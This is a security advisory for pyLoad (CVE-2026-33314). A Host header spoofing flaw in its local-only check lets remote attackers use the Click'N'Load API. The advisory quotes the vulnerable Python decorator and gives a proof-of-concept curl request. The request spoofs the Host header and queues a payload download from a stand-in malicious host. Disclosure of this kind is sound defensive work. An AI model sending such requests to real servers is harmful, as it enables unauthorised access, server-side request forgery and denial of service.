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GHSA-q485-cg9q-xq2r
No affected components available
Summary
A Host Header Spoofing vulnerability in the @local_check decorator allows unauthenticated external attackers to bypass local-only restrictions. This grants access to the Click'N'Load API endpoints, enabling attackers to remotely queue arbitrary downloads, leading to Server-Side Request Forgery (SSRF) and Denial of Service (DoS).
Details
The pyload WebUI provides an API for the Click'N'Load plugin, which is intended to be accessed only from the local machine (e.g., via a browser extension sending requests to localhost:9666). To enforce this, the pyload application uses a @local_check decorator on the relevant routes in src/pyload/webui/app/blueprints/cnl_blueprint.py.
However, the @local_check implementation relies on the user-controlled HTTP_HOST (derived from the HTTP Host header) to verify the origin:
# src/pyload/webui/app/blueprints/cnl_blueprint.py
def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapper
Because http_host is read directly from the Host header of the HTTP request, an external attacker can easily spoof this header (e.g., Host: 127.0.0.1:9666). When this spoofed header is present, the condition http_host in ("127.0.0.1:9666", ...) evaluates to True, completely bypassing the IP address check (remote_addr) and granting access to the protected functions.
The affected routes are:
/flash/and/flash/<id>/flash/add/flash/addcrypted/flash/addcrypted2/flashgotand/flashgot_pyload/flash/checkSupportForUrl
PoC
- Ensure the PyLoad instance is running and accessible externally.
- Ensure the
ClickNLoadplugin is enabled in the PyLoad settings (it evaluates to disabled by default). - Send a POST request to one of the protected endpoints, such as
/flash/add, and spoof theHostheader to127.0.0.1:9666.
Example curl command:
curl -i -X POST "http://<pyload-external-ip>:<port>/flash/add" \
-H "Host: 127.0.0.1:9666" \
-d "urls=http://malicious.com/payload.bin" \
-d "package=MaliciousPackage"
- Notice that you receive a
success\r\nresponse instead of a403 Forbidden. The package and URL will be successfully added to the PyLoad queue.
Impact
This vulnerability allows unauthenticated attackers to interact with the Click'N'Load API. Attackers can arbitrarily add URLs to the download queue, which forces the PyLoad server to make outbound requests to attacker-controlled or internal URLs (SSRF). Attackers can also exhaust the server's storage or bandwidth by queueing massive files (DoS).
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- CVE-2026-33314Alias
- EUVD-2026-20090Alias
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